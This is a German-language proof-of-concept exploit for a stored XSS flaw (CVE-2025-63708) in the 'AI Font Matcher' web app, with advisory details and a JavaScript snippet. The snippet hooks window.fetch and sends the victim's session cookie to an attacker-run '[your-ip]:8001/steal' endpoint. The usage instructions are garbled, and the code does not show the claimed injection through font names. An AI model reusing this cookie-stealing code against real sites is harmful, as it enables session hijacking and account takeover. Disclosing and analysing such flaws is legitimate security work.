
Proof-of-Concept-Exploit für CVE-2025-63708, eine gespeicherte XSS-Schwachstelle im AI Font Matcher. Demonstriert den Diebstahl von Sitzungscookies über nicht bereinigte Schriftartenfamiliennamen in Webfonts-Abrufantworten.
CVE-ID: CVE-2025-63708
Zugewiesen: 11-12-2025
Problemtyp: CWE-79 (Cross-Site Scripting)
Betroffenes Produkt: „AI Font Matcher“ (veröffentlicht am 2025-10-10, nid=18425)
Produktseite: https://www.sourcecodester.com/javascript/18425/ai-font-matcher-using-html-css-and-javascript-source-code.html
Entdeckungsdatum: 2025-10-11
Forscher: Dylan Davis
Die Anwendung verarbeitet Daten aus einem webfonts-Abruf, ohne die Schriftfamiliennamen zu bereinigen. Ein Angreifer, der diese Antwort kontrolliert oder abfängt, kann JavaScript einschleusen, das im Seitenkontext ausgeführt wird, und so Session-Cookies stehlen sowie Konten übernehmen.
Dieser PoC demonstriert die Codeausführung, indem window.fetch abgefangen und eine kontrollierte Web-Fonts-Nutzlast zurückgegeben wird.
poc.js).webfonts abruft; beobachten Sie ein alert(1).window.__origFetch = window.fetch;
window.fetch = async function(input, init) {
const url = (typeof input === 'string') ? input : input?.url;
if (url && url.includes('webfonts')) {
// Exfiltrate cookie to your server
fetch('http://[your-ip]:8001/steal?cookie=' +
encodeURIComponent(document.cookie))
.catch(e => console.log('Exfil failed:', e));
return new Response(JSON.stringify({
kind: "webfonts#webfontList",
items: [{ family: "Playfair Display", category: "serif" }]
}), {
status: 200,
headers: {'Content-Type': 'application/json'}
});
}
return window.__origFetch.apply(this, arguments);
};